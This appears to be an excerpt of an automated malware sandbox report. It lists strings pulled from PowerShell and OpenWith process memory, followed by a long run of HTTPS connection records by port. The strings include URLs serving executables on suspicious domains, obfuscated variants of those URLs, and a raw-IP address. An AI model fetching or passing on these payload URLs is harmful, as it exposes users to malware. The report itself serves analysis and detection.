Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C784000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://1h982d.bemostake.space
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C877000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bemostake.space
Source: powershell.exe, 00000003.00000002.1588196823.000001CB5B152000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1588196823.000001CB5B294000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C8E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rocketdocs.lol
Source: powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4B0E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1483066316.000002745C411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1557020180.0000027474C32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: OpenWith.exe, 0000000C.00000003.1674577922.0000022BF8509000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1682202435.0000022BF8511000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 0000000C.00000003.1708130009.0000022BF8513000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://147.45.126.71:3752/20846e26ac9fe96c52/8ackhmnt.9e5wm
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1h982d.bemostake.space
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1h982d.bemostake.space/test.txt
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1h982d.bp24mostakp24.spacp24/tp24st.txt
Source: OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4B0E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1483066316.000002745C411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C7CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bemostake.space
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C7CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bemostake.space/test/ast21/g341g43134g/2245h1234/f21f2123/Rh-416-72-341-23.exe
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C7CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bp24mostakp24.spacp24/tp24st/ast21/g341g43134g/2245h1234/f21f2123/Rh-416-72-341-23.p24xp24
Source: OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.1588196823.000001CB5B152000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1588196823.000001CB5B294000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1531963809.000002746C47F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C8E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rocketdocs.lol
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C8E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rocketdocs.lol/utox_x86.exe
Source: powershell.exe, 00000003.00000002.1496205695.000001CB4C8E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rockp24tdocs.lol/utox_x86.p24xp24
Source: OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: OpenWith.exe, 0000000C.00000003.1671295131.0000022BF85DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50970
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52633 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51829
Source: unknown	Network traffic detected: HTTP traffic on port 52037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 52312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 52461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 54081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 52976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52933
Source: unknown	Network traffic detected: HTTP traffic on port 53625 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50995
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51854
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51619
Source: unknown	Network traffic detected: HTTP traffic on port 53477 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50762
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51853
Source: unknown	Network traffic detected: HTTP traffic on port 53958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 53191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 51673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54062
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 50683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 53754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50943
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 53032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 51125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 51203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 52655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54079
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54081
Source: unknown	Network traffic detected: HTTP traffic on port 50865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 51307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 52782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50969
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54096
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50579
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53606
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53847
Source: unknown	Network traffic detected: HTTP traffic on port 52246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52999
Source: unknown	Network traffic detected: HTTP traffic on port 50581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52997
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51437
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50581
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52762
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51671
Source: unknown	Network traffic detected: HTTP traffic on port 51957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 51047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53625
Source: unknown	Network traffic detected: HTTP traffic on port 52590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51203
Source: unknown	Network traffic detected: HTTP traffic on port 54335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53865
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 50685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 52956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51697
Source: unknown	Network traffic detected: HTTP traffic on port 53791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 54267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52954
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52719
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51621
Source: unknown	Network traffic detected: HTTP traffic on port 51933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50789
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52675 -> 443
